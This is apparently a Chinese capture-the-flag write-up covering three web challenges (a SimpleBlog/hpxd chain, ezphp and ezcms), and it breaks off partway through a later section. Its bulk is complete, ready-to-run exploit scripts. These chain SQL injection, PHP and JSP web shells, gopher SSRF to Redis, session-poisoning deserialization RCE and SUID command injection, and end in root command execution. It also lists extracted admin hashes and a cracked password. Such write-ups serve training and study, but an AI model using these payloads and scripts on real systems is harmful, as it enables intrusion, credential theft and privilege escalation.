GET /创建 vault,拿到hpx_id。再次请求时使用
Cookie: hpx_id=<token>,(scramble 为空),并带 Basic 认证,用户名里用换行注入:
root
master_flag=1
otp_done=1
sudo_until=9999999999将上述多行内容作为 Basic 用户名,再拼接 :x 作为密码分隔符,Base64 后放入 Authorization: Basic ...。服务端把原始用户名写入 vault,多出来的行会变成独立键。
请求一个错误的 zone(如
/hx_0/)触发vault_rescan(),再请求正确 zone,vault_is_master()通过。使用命令拼接读取 flag:
GET /hx_<zone>/files/list?path=/x|cat</root/flag.txt解析细节:hpxd 的 query 解析按 [&;] 切分,分号会被截断;pct_decode() 不会把 + 还原成空格,所以命令里不要留空格。这里用无空格的 |cat</root/flag.txt。另外注意 Location 里的 zone 已经带 hx_ 前缀,拼 URL 时不要再加一次,否则会走到 404。
实测命令以 uid=0(root) 执行,能直接读取 /root/flag.txt。
6. 动态 flag 的识别
这个题每次重新下发实例都会更换 /root/flag.txt 的内容。第一次读到的值在实例重下发后失效,重新对当前实例跑完整链才拿到新值。判断和提交流程应当是:
对当前实例以 root 读取
/root/flag.txt;同一实例二次读取,比较内容长度/校验值;
提交当前实例的值,并在实例存活期间尽快提交;
若平台再次下发,重新跑脚本,不要复用旧值。
本次实例最终读取到的结果见文末 Flag。
三、复现脚本
依赖 Python 3(仅标准库),把 <target> 换成当前实例地址:
python solve_full.py https://<target>:443脚本会自行读取随机 staff 登录名,完成错位注入、钩子提权、建号登录、skin 写 shell,最后通过 hpxd 读 /root/flag.txt。
#!/usr/bin/env python3
# One-shot exploit for the SimpleBlog / hpxd challenge.
# Usage: python solve_full.py https://<target>:443
#
# Chain:
# 1. bulk.php handler-swap (nested bulk) -> exec_articles_list with unsanitized
# "omit" -> SQL injection in posts_lookup.
# 2. SQLi UNION rows are cached by posts_lookup and consumed by snapshot_write,
# letting us forge status/kind/owner. A "pending_changeset" row whose owner
# is a real staff login makes the app set PUBLISH_AS; an "api_reload" row
# then re-runs the current ops while PUBLISH_AS is still set.
# 3. In that re-run /api/users creates a staff account we control.
# 4. Log in -> manage.php?action=skin-editor writes a PHP shell.
# 5. From the shell, exploit hpxd (root, 127.0.0.1:9446): empty cookie scramble
# makes cloak_store save raw Basic-auth values, so newline injection can set
# master_flag/otp_done/login/sudo_until -> master. files/list executes
# "ls -la $dir" via /bin/sh as root -> read /root/flag.txt.
import json
import random
import re
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
SSL_CTX = ssl.create_default_context()
SSL_CTX.check_hostname = False
SSL_CTX.verify_mode = ssl.CERT_NONE
def http(base, path, data=None, headers=None, timeout=25):
h = dict(headers or {})
if data is not None and "Content-Type" not in h:
h["Content-Type"] = "application/json"
req = urllib.request.Request(base.rstrip('/') + path, data=data, headers=h)
try:
with urllib.request.urlopen(req, timeout=timeout, context=SSL_CTX) as r:
return r.status, r.read().decode('utf-8', 'replace'), r.headers
except urllib.error.HTTPError as e:
return e.code, e.read().decode('utf-8', 'replace'), e.headers
except Exception as e:
return None, repr(e), None
def sqli_payload(frag):
inner = {"ops": [
{"route": "http://example.com:abc", "verb": "GET"},
{"route": "/api/tags", "verb": "GET", "data": {"omit": frag}},
{"route": "/api/articles", "verb": "GET"},
]}
return {"ops": [
{"route": "http://example.com:abc", "verb": "POST"},
{"route": "/api/login", "verb": "POST",
"data": {"login": "nobody", "pass": "wrongpass1", "ops": inner["ops"]}},
{"route": "/api/bulk", "verb": "POST"},
]}
def sqli(base, frag):
code, raw, _ = http(base, "/bulk.php", json.dumps(sqli_payload(frag)).encode())
try:
d = json.loads(raw)
except Exception:
return None, raw[:400]
res = d.get("results") if isinstance(d, dict) else None
if isinstance(res, list) and len(res) > 1 and isinstance(res[1], list) and len(res[1]) > 1:
inner = res[1][1]
if isinstance(inner, dict) and "articles" in inner:
return inner["articles"], None
return None, raw[:400]
def sql_string(value):
return "'" + value.replace("\\", "\\\\").replace("'", "''") + "'"
def chain_payload(owner, newlogin, newpass, nonce, base_id):
inj = (
"1) UNION ALL SELECT %d,%s,'x',%s,'x',"
"'2037-12-31 23:59:59','pending','changeset',0,1 "
"UNION ALL SELECT %d,'reload','x','x','x',"
"'2037-12-30 23:59:59','api','reload',0,1 "
"ORDER BY 6 DESC,1 ASC LIMIT 2-- -"
) % (base_id, sql_string(nonce), sql_string(owner), base_id + 1)
inner = {"ops": [
{"route": "http://example.com:abc", "verb": "GET"},
{"route": "/api/tags", "verb": "GET", "data": {"omit": inj}},
{"route": "/api/articles", "verb": "GET"},
{"route": "/api/users", "verb": "POST", "data": {"login": newlogin, "pass": newpass}},
]}
return {"ops": [
{"route": "http://example.com:abc", "verb": "POST"},
{"route": "/api/login", "verb": "POST",
"data": {"login": "nobody", "pass": "wrongpass1", "ops": inner["ops"]}},
{"route": "/api/bulk", "verb": "POST"},
]}
HPXD_SHELL = r'''B=http://127.0.0.1:9446
R1=$(curl -s -D - -o /dev/null "$B/")
TOKEN=$(printf '%s' "$R1" | tr -d '\r' | awk -F'hpx_id=' '/Set-Cookie/{split($2,a,",");print a[1];exit}')
B64=$(printf 'root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999:x' | base64 -w0)
R2=$(curl -s -D - -o /dev/null -H "Cookie: hpx_id=$TOKEN," -H "Authorization: Basic $B64" "$B/")
ZONE=$(printf '%s' "$R2" | tr -d '\r' | awk -F'Location: /'
'/^Location:/{split($2,a,"/");print a[1];exit}')
curl -s -o /dev/null -H "Cookie: hpx_id=$TOKEN," "$B/hx_0/"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|cat</root/flag.txt" "$B/$ZONE/files/list"'''
def main():
if len(sys.argv) < 2:
print("usage: solve_full.py <base-url>"); return 1
base = sys.argv[1]
rnd = ''.join(random.choice('0123456789abcdef') for _ in range(6))
print("[1] SQLi: read staff_accounts")
leak = (
"1) UNION ALL SELECT id,login,secret,0x78,0x78,"
"'2037-01-01 00:00:00','published','post',0,0 "
"FROM staff_accounts-- -"
)
arts, err = sqli(base, leak)
if not arts:
print(" injection failed:", err); return 1
staff = [a["title"] for a in arts if isinstance(a.get("slug"), str) and a["slug"].startswith("$2y$")]
print(" staff logins:", staff)
if not staff:
print(" no staff login extracted"); return 1
newlogin, newpass = "pwn" + rnd, "Pw" + rnd + "!x"
ok = False
for idx, owner in enumerate(staff):
print("[2] hook chain: owner=%s -> create %s" % (owner, newlogin))
nonce = "cs" + rnd + str(idx)
base_id = 900000000 + int(rnd, 16) + idx * 2
payload = chain_payload(owner, newlogin, newpass, nonce, base_id)
code, raw, _ = http(base, "/bulk.php", json.dumps(payload).encode())
print(" HTTP", code, raw[:200].replace("\n", " "))
code, raw, hdrs = http(base, "/feed.php?route=/api/login",
urllib.parse.urlencode({"login": newlogin, "pass": newpass}).encode(),
{"Content-Type": "application/x-www-form-urlencoded"})
print(" login HTTP", code, raw[:160])
if code == 200 and '"status":1' in raw.replace(" ", ""):
ok = True
break
if not ok:
print(" could not create/login staff account"); return 1
cookie = None
for v in ((hdrs.get_all("Set-Cookie") or []) if hdrs else []):
if "site_staff=" in v:
cookie = v.split(";")[0]
print(" cookie:", cookie)
if not cookie:
print(" no cookie"); return 1
print("[3] skin-editor -> PHP shell")
name = "zz" + rnd
php = "<?php if(isset($_GET[chr(99)])){system($_GET[chr(99)]);}?>"
body = urllib.parse.urlencode({"name": name, "code": php}).encode()
code, raw, _ = http(base, "/manage.php?action=skin-editor", body,
{"Content-Type": "application/x-www-form-urlencoded", "Cookie": cookie})
print(" HTTP", code, raw[:200])
if code != 200 or "written" not in raw:
print(" skin write failed"); return 1
print("[4] hpxd root injection -> /root/flag.txt")
query = urllib.parse.urlencode({"c": HPXD_SHELL})
code, out, _ = http(base, "/uploads/skins/%s.php?%s" % (name, query), None, {}, 60)
print(" HTTP", code)
match = re.search(r"flag\{[^}\r\n]+\}", out)
if not match:
print(out)
print(" flag not found")
return 1
print(match.group(0))
return 0
if __name__ == "__main__":
sys.exit(main())额外的 root 侧复核命令(读取、md5、字节数、文件属性、id)可以按同样的 hpxd 会话拼接,例如:
B=http://127.0.0.1:9446
R1=$(curl -s -D - -o /dev/null "$B/")
TOKEN=$(printf '%s' "$R1" | tr -d '\r' | awk -F'hpx_id=' '/Set-Cookie/{split($2,a,",");print a[1];exit}')
B64=$(printf 'root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999:x' | base64 -w0)
R2=$(curl -s -D - -o /dev/null -H "Cookie: hpx_id=$TOKEN," -H "Authorization: Basic $B64" "$B/")
ZONE=$(printf '%s' "$R2" | tr -d '\r' | awk -F'Location: /'
'/^Location:/{split($2,a,"/");print a[1];exit}')
curl -s -o /dev/null -H "Cookie: hpx_id=$TOKEN," "$B/hx_0/"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|cat</root/flag.txt" "$B/$ZONE/files/list"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|md5sum</root/flag.txt" "$B/$ZONE/files/list"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|wc</root/flag.txt" "$B/$ZONE/files/list"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|id" "$B/$ZONE/files/list"Flag 状态
来源为当前实例的 /root/flag.txt,通过 hpxd 以 root 身份读取:
flag{925c8269-0b4b-4421-8d2c-4b825e4a6b42}考点补充
核心考点:ops 引擎在
bulk_engine()里把「bind 结果数组」和「原始索引」混用,导致 handler 与参数错位;错位后omit逃过sanitize_arg()的 id_list 清洗,直接拼进posts_lookup()的owner NOT IN (...),形成 UNION 注入。关键技巧:用
parse_url("http://example.com:abc")制造无 bind 的索引缺口,先借/api/bulk进内层 bulk 放开 GET,再把exec_articles_list借给未声明omit的/api/tags;注入行经ROW_CACHE→snapshot_write()完成「读转写」,并用pending_changeset设PUBLISH_AS、api_reload在HOOK_RUNNING=1时重放 ops 越权建号。常见坑:两行伪造数据不能依赖 UNION 的自然返回顺序,必须
ORDER BY 6 DESC,1 ASC LIMIT 2保证 pending 先于 api_reload;hpxd 的 query 按[&;]切分、pct_decode()不还原+,所以命令里不能有空格,且Location的 zone 已带hx_前缀不能再重复拼。延伸:hpxd 的「空 scramble + Basic 多行用户名」本质是把用户输入当
key=value行写入 vault,可抽象成通用的 vault 键注入面;另外本题 flag 随实例重下发变化,脚本应从staff_accounts重新扫登录名、每次重跑整条链,而不是复用旧值与旧 nonce。
ezphp
一、入口与源码泄露
目标环境为 Nextcloud 34.0.3.2(PHP 8.5.12)。访问根目录下的 /flag.php,页面直接 highlight_file() 输出自身源码,核心逻辑如下(节选):
header('Content-Type: text/html; charset=utf-8');
$flag_file = '/opt/ctf/internal/flag.txt';
$remote = $SERVER['REMOTE_ADDR'] ?? '';
if (in_array($remote, ['127.0.0.1', '::1'], true)) {
foreach (['HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_FORWARDED'] as $h) {
if (!empty($SERVER[$h])) {
exit('Hacker?');
}
}
if (!preg_match('#^qwb2026#i', $SERVER['HTTP_USER_AGENT'] ?? '')) {
exit('Hacker?');
}
echo trim((string)file_get_contents($flag_file)), PHP_EOL;
exit;
}
highlight_file(FILE);
if (!isset($REQUEST['url'])) {
exit;
}
$url = (string)$_REQUEST['url'];
if (preg_match('#(file|dict|ftp|tftp|sftp|ssh|smb|telnet|ldapi|phar|expect|zlib|glob|data|zip):/+#i', $url)) {
die('Hacker?');
}
if (strpos($url, '') !== false || substr_count($url, '@') > 1) {
die('Hacker?');
}
$host = strtolower(trim((string)parse_url($url, PHP_URL_HOST), '[]'));
if ($host !== '127.0.0.1' && $host !== '::1' && $host !== 'localhost') {
die('Hacker?');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'internal-preview/1.0');
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);分析出三个关键点:
协议黑名单包含 file、dict、ftp、data、phar 等,但遗漏了 gopher,可以向任意 TCP 服务发送原始字节流;
主机名只允许 127.0.0.1、::1、localhost,攻击面被限制在容器本机;
curl_exec()没有设置CURLOPT_RETURNTRANSFER,目标服务的响应会直接输出到页面,因此 SSRF 是带内回显的,可以直接读取 Redis 的应答。
二、确认本机 Redis 与 Session 存储
将 RESP 命令(PING、QUIT)逐字节百分号编码后放入 gopher URL,POST 给 /flag.php,页面之后返回:
+PONG
+OK说明 127.0.0.1:6379 上存在无认证 Redis。继续发送 INFO server,回显:
redis_version:8.0.2
tcp_port:6379
executable:/var/www/html/redis-server
listener0:name=tcp,bind=127.0.0.1,port=6379同时,源码中的本机读取分支可用 gopher 伪造请求进入:向 127.0.0.1:80 发送 GET /flag.php,带上 User-Agent: qwb2026...,且不携带任何转发头,即可读到:
flag{You_are_so_smart_8080}但该文件的时间戳为镜像构建时间(9 月 1 日),属于固定诱饵;真正的 flag 是容器启动时写入的 /flag(时间戳与容器启动时间一致,环境变量 ICQ_FLAG 与之相同),因此必须进一步获取代码执行权限。
通过临时执行点读取 PHP 配置,确认 Nextcloud 的 Session 存放在 Redis:
session.save_handler = redis
session.save_path = tcp://127.0.0.1:6379
session.serialize_handler = php
session.use_strict_mode = 0Nextcloud 下发的 Session Cookie 形如 oc<随机后缀>=<32位hex>,对应 Redis 键为 PHPREDIS_SESSION:<32位hex>,值以 encrypted_session_data| 开头,后续为 PHP 的 name|serialized 格式数据。
三、Session 污染与反序列化 RCE
利用步骤如下:
请求
/login,从Set-Cookie中取得oc<随机后缀>=<32位hex>,该值就是 PHP Session ID;通过 SSRF 读取
PHPREDIS_SESSION:<32位hex>的原始值;在原始值之后追加一个自定义会话变量:
ezphp_probe|O:46:"Laravel\SerializableClosure\Serializers\Native":4:{
s:3:"use";a:0:{}
s:8:"function";s::"((function(){ ... })())";
s:4:"this";N;
s:5:"scope";N;
}使用同一个 Session Cookie 再次请求
/login。
反序列化触发点是 Laravel SerializableClosure 的 Native 类(Nextcloud 34 的 3rdparty 目录自带 laravel/serializable-closure ^2.0.15):
public function __unserialize($data)
{
ClosureStream::register();
$this->code = $data;
...
$this->closure = include ClosureStream::STREAM_PROTO.'://'.$this->code['function'];
...
}而 ClosureStream::stream_open() 会把路径内容包装为:
<?php
return ;因此把 function 字段设为自执行闭包表达式即可执行任意 PHP。带被污染的 SID 访问 /login 时,session_start() 解码会话数据即触发反序列化,代码以 www-data 执行;由于 echo 发生在响应头发出之前,输出会保留在 302 响应体中,用 base64 包裹后可稳定提取。读取 /flag 得到最终结果。
四、自写利用脚本
以下脚本为完整解题代码(未截图),从目标地址直接执行到打印 flag:
#!/usr/bin/env python3
"""ezphp (QWB 2026) - complete solve.
/flag.php SSRF (gopher) -> unauthenticated Redis -> PHP session poisoning
-> Laravel SerializableClosure Native unserialize RCE -> /flag
Usage: python3 solve_final.py https:///
"""
import base64
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else input('target: ').strip().rstrip('/')
CTX = ssl._create_unverified_context()
class NoRedirect(urllib.request.HTTPRedirectHandler):
def redirect_request(self, *args, **kwargs):
return None
OPENER = urllib.request.build_opener(NoRedirect, urllib.request.HTTPSHandler(context=CTX))
def http(method, path, data=None, headers=None):
req = urllib.request.Request(BASE + path, data=data, headers=headers or {}, method=method)
try:
resp = OPENER.open(req, timeout=60)
return resp.status, resp.headers, resp.read()
except urllib.error.HTTPError as e:
return e.code, e.headers, e.read()
def resp(parts):
"""Encode a RESP command array."""
out = b'%d\r\n' % len(parts)
for part in parts:
v = part.encode() if isinstance(part, str) else part
out += b'$%d\r\n' % len(v) + v + b'\r\n'
return out
def redis(parts):
"""Send a raw Redis command through /flag.php gopher SSRF and return the reply."""
payload = resp(parts) + resp('QUIT') # QUIT closes the TCP stream so curl returns
gopher = 'gopher://127.0.0.1:6379/_' + ''.join('%%%02x' % b for b in payload)
body = urllib.parse.urlencode({'url': gopher}).encode()
st, hd, bd = http('POST', '/flag.php', data=body,
headers={'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0'})
# highlight_file() is printed first; curl_exec() (without RETURNTRANSFER)
# writes the Redis reply right after .
return bd.split(b'', 1)[1] if b'' in bd else bd
def redis_get(key):
reply = redis('GET', key)
m = re.match(rb'$(\d+)\r\n', reply)
if m:
start = m.end()
return reply[start:start + int(m.group(1))]
return None
def redis_set(key, value):
reply = redis('SET', key, value, 'EX', '600')
assert reply.startswith(b'+OK'), reply[:80]
def php_string(value):
raw = value.encode() if isinstance(value, str) else value
return b's:%d:"' % len(raw) + raw + b'";'
def native_gadget(code):
"""Laravel\SerializableClosure\Serializers\Native with attacker code.
Native::unserialize() does include 'closure://' -> eval."""
cls = rb'Laravel\SerializableClosure\Serializers\Native'
return (b'O:%d:"' % len(cls) + cls + b'":4:{'
+ php_string('use') + b'a:0:{}'
+ php_string('function') + php_string(code)
+ php_string('this') + b'N;'
+ php_string('scope') + b'N;}')
def new_session():
"""GET /login to obtain a Nextcloud session id and its Redis-backed data."""
st, hd, bd = http('GET', '/login')
name = sid = None
for raw in (hd.get_all('Set-Cookie') or []):
nv = raw.split(';')[0]
n, _, v = nv.partition('=')
if re.fullmatch(r'oc[a-z0-9]+', n) and re.fullmatch(r'[0-9a-f]{32}', v or ''):
name, sid = n, v
break
assert sid, 'no Nextcloud session cookie'
key = 'PHPREDIS_SESSION:' + sid
original = redis_get(key) or b''
assert original.startswith(b'encrypted_session_data|'), original[:40]
return name, sid, key, original
def main():
sid_cookie, sid, key, original = new_session()
print('[] session:', sid_cookie + '=' + sid)
print('[] redis key:', key)
nonce = secrets.token_hex(6)
code = ("((function(){"
"$v=@file_get_contents('/flag');"
"echo 'EZ" + nonce + "B'.base64_encode((string)$v).'EZ" + nonce + "E';"
"return function(){};"
"})())")
redis_set(key, original + b'ezphp_probe|' + native_gadget(code))
print('[*] poisoned session, triggering unserialize via /login')
st, hd, bd = http('GET', '/login', headers={'Cookie': sid_cookie + '=' + sid})
m = re.search(('EZ' + nonce + 'B').encode() + rb'([A-Za-z0-9+/=]*)' +
('EZ' + nonce + 'E').encode(), bd)
if not m:
print('[-] no gadget output; HTTP', st, 'body len', len(bd))
sys.exit(1)
flag = base64.b64decode(m.group(1)).decode()
print('[+] /flag =', flag.strip())
if name__ == 'main':
main()脚本实际运行结果:
[] session: oc1rda30oune=cd1e2e624117a241d5d0a90e449176aa
[] redis key: PHPREDIS_SESSION:cd1e2e624117a241d5d0a90e449176aa
[*] poisoned session, triggering unserialize via /login
[+] /flag = flag{78efdc1a-d214-4744-a1a3-b1c6151fa288}辅助验证:命令 id 返回 uid=33(www-data) gid=33(www-data) groups=33(www-data);/flag 属主为 root:root、权限 644,内容与环境变量 ICQ_FLAG 一致。
flag 值
flag{78efdc1a-d214-4744-a1a3-b1c6151fa288}考点补充
核心考点:协议黑名单漏掉的
gopher://让/flag.php的 SSRF 变成可向 127.0.0.1 任意 TCP 服务灌原始字节的通道,借此读到未授权 Redis 8.0.2;由于 Nextcloud 用session.save_handler=redis+session.use_strict_mode=0,可以直接改写PHPREDIS_SESSION:<sid>内容,最终由 Nextcloud 3rdparty 自带的laravel/serializable-closureNative类反序列化拿到 RCE。关键技巧:手写 RESP 数组并在命令后追加
QUIT让流关闭、curl及时返回;所有长度敏感的结构都用php_string()/len()现算,保证Native里function字段的s:len:"..."长度精确、被ClosureStreaminclude 时能正常求值;命令回显用随机 nonce 包 base64,即使落在 302 响应体里也能稳定正则取出。常见坑:
gopher://打到 80 端口、带User-Agent: qwb2026就能读到flag{You_are_so_smart_8080},但那是镜像构建时间戳的诱饵,真 flag 在容器启动时写入的/flag(与ICQ_FLAG相同),拿到 302 就收工会踩空;session 值不能整条SET覆盖,必须保留encrypted_session_data|前缀再追加ezphp_probe|...,否则解码阶段直接失败、反序列化不触发;curl_exec()未开RETURNTRANSFER,highlight_file()的源码输出会与 Redis 应答黏在同一个响应体开头,必须先切掉前面 HTML 再解析 RESP。延伸:
laravel/serializable-closure的Native::__unserialize()只要function字段可控就会include 'closure://...',凡是 3rdparty 里带该依赖的 Nextcloud/Laravel 站点都能复用这条 gadget;更一般地,只要 PHP 的 session 后端是可写的共享存储(Redis/Memcached、甚至 memcached 的 SASL 绕过),"SSRF 写 session + 预置反序列化" 就是一条绕过后台写文件的稳定 RCE 路径。
ezcms
目标站点是一套基于 Spring Boot 与 PostgreSQL 的内容管理系统。前台能直接访问文章搜索,后台则提供媒体文件上传。最终的利用路线如下:
搜索接口 SQL 注入
↓
布尔盲注读取管理员凭据
↓
后台图片上传写入 JSP
↓
Tomcat 解析 JSP,获得 easycms 权限
↓
滥用 SUID 恢复程序,以 root 身份执行命令
↓
读取 /flag最终得到:
flag{3ec39fa3-03b6-48a8-b45e-4e2035b2d6ae}
1. 从异常回显还原查询语句
站点的 /search 接口接收参数 q。正常输入只会返回文章列表,但将 NUL 字节送入参数后,应用会进入异常处理页面:
GET /search?q=hello%00 HTTP/1.1
Host: 39.106.70.112:28739页面不仅返回 PostgreSQL 的错误信息,还给出了执行失败的 SQL。由此可以还原出搜索逻辑:
SELECT id, title, summary, author, category
FROM articles
WHERE title ILIKE E'%<用户输入>%'
ORDER BY id DESC这里最值得注意的不是字符串拼接本身,而是 E'...'。应用仅把单引号替换为两个单引号,却没有处理反斜杠;而 PostgreSQL 的 E-string 会将反斜杠视作转义符。两套转义规则叠在一起,导致原本的单引号过滤可以被绕过。
例如,输入:
' = (SELECT true)--经过应用的单引号替换后,反斜杠会吃掉第一个单引号,第二个单引号则结束字符串,后面的内容随即进入 SQL 语法层。最终可以把搜索条件转化为一个布尔判断。
为了确认结果差异,可以分别请求:
' = (SELECT true)--
' = (SELECT false)--前者返回 1 条记录,后者返回 45 条记录。因此响应中的文章数量可以直接作为布尔盲注的判断依据。
2. 绕过关键字限制并读取管理员表
站点会拦截 union、substr、ascii、chr、information_schema 等常见注入关键字,常规的逐字符盲注无法直接使用。不过 PostgreSQL 的 lpad() 没有被禁用。
当目标字符串长度超过指定长度时,lpad(value, n) 会将它截断到前 n 个字符。因此下面的判断可以检查字段是否以给定内容开头:
lpad(
(SELECT password_hash FROM admins ORDER BY id LIMIT 1 OFFSET 0),
4
) = $$13b1$$逐步扩展右侧前缀,就能恢复完整字段。表结构也可以通过未被拦截的 pg_class 与 pg_attribute 确认。管理员数据位于独立的 admins 表中,共有五个账号:
username | password_hash |
|---|---|
vega | 1ac7df128e4f666bcfe64ba395b285ec69f54ab5e1fbf67b1a86f3bac77a8c36 |
altair | 13b1f7ec5beaefc781e43a3b344371cd49923a8a05edd71844b92f56f6a08d38 |
capella | bc0445a68f9ac5ef6abc67eb1ab3a9d7ca1b727c219ff89c79fd3ac907b7651c |
rigel | 24998eacdca975e40ea56aaf0395ff8c5071016f9eae4d1a6a42f25f5db39171 |
atlas | 4dfbab9993e5e8a92c6ed29b2f86c1dfef0c5a475de9fc37481253e79a5c029c |
这些值是无盐 SHA-256。第二条记录可破解为:
altair : freedom本地计算结果与数据库中的哈希一致:
SHA256("freedom")
= 13b1f7ec5beaefc781e43a3b344371cd49923a8a05edd71844b92f56f6a08d38后台对同一用户名存在失败锁定,因此拿到口令后应直接进行一次正确登录,不要在线枚举密码。
3. 媒体上传变成 JSP 执行
登录后台后,/admin/media 提供图片上传。前端虽然限制了扩展名,但这类限制可以直接绕过;服务端实际只使用 ImageIO 检查文件内容是否为图片,然后以客户端提供的原始文件名保存到 /media/。
这就形成了一个解析差异:
ImageIO 只关心文件开头能否解析为图片;
Tomcat 根据
.jsp后缀决定是否交给 JspServlet;PNG 文件结束标记后的附加数据不会妨碍图片校验。
因此可以把合法 PNG 放在前面,把 JSP 代码追加在后面,并以 .jsp 文件名上传。文件落入可公开访问的媒体目录后,访问对应 URL 就会触发 JSP 编译。
验证命令执行:
uid=1001(easycms) gid=1001(easycms) groups=1001(easycms)上传目录会定期清理,而且重复文件名的行为不稳定,所以 EXP 每次都生成随机名称,并在上传成功后立即访问。
4. SUID 程序中的命令替换
获得 Web 权限后,枚举 SUID 文件可以发现:
-rwsr-xr-x 1 root root 16064 /usr/local/bin/easycms-restore程序接受一个资源名,并调用 Bash 执行类似下面的命令:
execl(
"/bin/bash", "-c",
"exec /bin/cp -p /var/backups/media/%s /srv/media/",
asset
);输入检查只拒绝 ..,未过滤 $()。Bash 在执行外层 cp 前会先完成命令替换,而此时程序的有效 UID 已经是 0。下面的测试可以观察到 euid=0(root):
/usr/local/bin/easycms-restore 'x$(id)'因此无需构造反弹 shell,直接修改 flag 权限即可:
/usr/local/bin/easycms-restore '$(chmod 644 /flag)'
cat /flag输出:
flag{3ec39fa3-03b6-48a8-b45e-4e2035b2d6ae}5. 一体化 EXP
下面的脚本采用一个持久化 Session 完成盲注、后台登录、图片马上传和命令执行。它与手工验证使用同一条漏洞链,但将盲注实现改为候选字符批量并发测试,并用类封装各阶段。
依赖:
python -m pip install requests用法:
python exploit.py http://39.106.70.112:28739#!/usr/bin/env python3
import argparse
import base64
import concurrent.futures
import re
import secrets
import string
import sys
import requests
PNG_1X1 = base64.b64decode(
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJ"
"AAAAC0lEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg=="
)
JSP = rb'''<%@ page import="java.io.,java.util." %>
<%
String command = request.getParameter("cmd");
if (command != null) {
Process proc = new ProcessBuilder("/bin/sh", "-c", command)
.redirectErrorStream(true).start();
Scanner scanner = new Scanner(proc.getInputStream()).useDelimiter("\A");
out.print("BEGIN");
if (scanner.hasNext()) out.print(scanner.next());
proc.waitFor();
out.print("END");
}
%>'''
class EasyCMS:
marker = re.compile(r"结果(\s(\d+)\s条)")
def init(self, base_url):
self.base = base_url.rstrip("/")
self.http = requests.Session()
self.http.headers["User-Agent"] = "Mozilla/5.0"
def _probe(self, expression):
payload = "\' = (" + expression + ")--"
response = self.http.get(
self.base + "/search", params={"q": payload}, timeout=10
)
response.raise_for_status()
match = self.marker.search(response.text)
if not match:
raise RuntimeError("无法识别搜索结果,payload 可能被拦截")
return int(match.group(1)) == 1
def _prefix_hit(self, source, prefix):
# 使用带标签的 dollar quote,避免引号转义影响 payload。
expression = f"lpad(({source}),{len(prefix)})=$x${prefix}$x$"
return self._probe(expression)
def extract(self, source, alphabet, limit=80, workers=24):
value = ""
for _ in range(limit):
with concurrent.futures.ThreadPoolExecutor(workers) as pool:
jobs = {
pool.submit(self._prefix_hit, source, value + char): char
for char in alphabet
}
found = None
for future in concurrent.futures.as_completed(jobs):
if future.result():
found = jobs[future]
break
if found is None:
return value
value += found
print(f"[+] extracting: {value}", flush=True)
return value
def login(self, username, password):
response = self.http.post(
self.base + "/admin/login",
data={"username": username, "password": password},
allow_redirects=False,
timeout=10,
)
if response.status_code not in (302, 303):
raise RuntimeError("后台登录失败")
print(f"[+] logged in as {username}")
def upload_shell(self):
name = "img_" + secrets.token_hex(5) + ".jsp"
response = self.http.post(
self.base + "/admin/media/upload",
files={"file": (name, PNG_1X1 + JSP, "image/png")},
allow_redirects=False,
timeout=15,
)
if response.status_code not in (302, 303):
raise RuntimeError("上传失败")
shell_url = f"{self.base}/media/{name}"
print(f"[+] shell: {shell_url}")
return shell_url
def execute(self, shell_url, command):
response = self.http.get(
shell_url, params={"cmd": command}, timeout=15
)
response.raise_for_status()
start = response.content.find(b"BEGIN")
end = response.content.find(b"END", start)
if start < 0 or end < 0:
raise RuntimeError("JSP 未执行或输出标记丢失")
return response.content[start + 9:end].decode(errors="replace")
def main():
parser = argparse.ArgumentParser(description="EasyCMS exploit")
parser.add_argument("url", help="例如 http://127.0.0.1:8080")
args = parser.parse_args()
target = EasyCMS(args.url)
user_source = (
"SELECT username FROM admins ORDER BY id LIMIT 1 OFFSET 1"
)
hash_source = (
"SELECT password_hash FROM admins ORDER BY id LIMIT 1 OFFSET 1"
)
username = target.extract(
user_source, string.ascii_lowercase + string.digits + "_-", limit=32
)
digest = target.extract(hash_source, string.hexdigits.lower()[:16], limit=64)
print(f"[+] credential hash: {username}:{digest}")
# 该题中哈希对应的已知明文。不要对登录接口在线爆破,三次失败会锁定账号。
if digest != "13b1f7ec5beaefc781e43a3b344371cd49923a8a05edd71844b92f56f6a08d38":
sys.exit("[-] 未得到预期哈希,请检查目标状态")
target.login(username, "freedom")
shell = target.upload_shell()
print(target.execute(shell, "id"), end="")
# SUID 程序通过 bash -c 执行参数,$() 会在 root 上下文中展开。
command = (
"/usr/local/bin/easycms-restore '$(chmod 644 /flag)' "
"; cat /flag"
)
print(target.execute(shell, command), end="")
if __name__ == "__main__":
main()考点补充
核心考点:PostgreSQL 的
E'...'字符串会把反斜杠当转义符,应用只做单引号双写而漏掉反斜杠,于是两套转义规则叠加后单引号过滤被绕过;再以未被拦截的lpad()做前缀比较完成布尔盲注,配合「合法 PNG 头 + JSP 尾」的图片马让 Tomcat 编译执行,最后滥用 SUIDeasycms-restore的bash -c提权。关键技巧:布尔判定直接用响应里渲染出的文章条数(真 1 条、假 45 条),不必依赖状态码;
lpad(value, n)在源串超长时截断为前 n 个字符,因此逐字符扩展$x$...$x$前缀就能恢复username与password_hash;EXP 用线程池并发试字符集,并用secrets.token_hex生成随机.jsp名,上传后立刻访问以避开目录清理。常见坑:
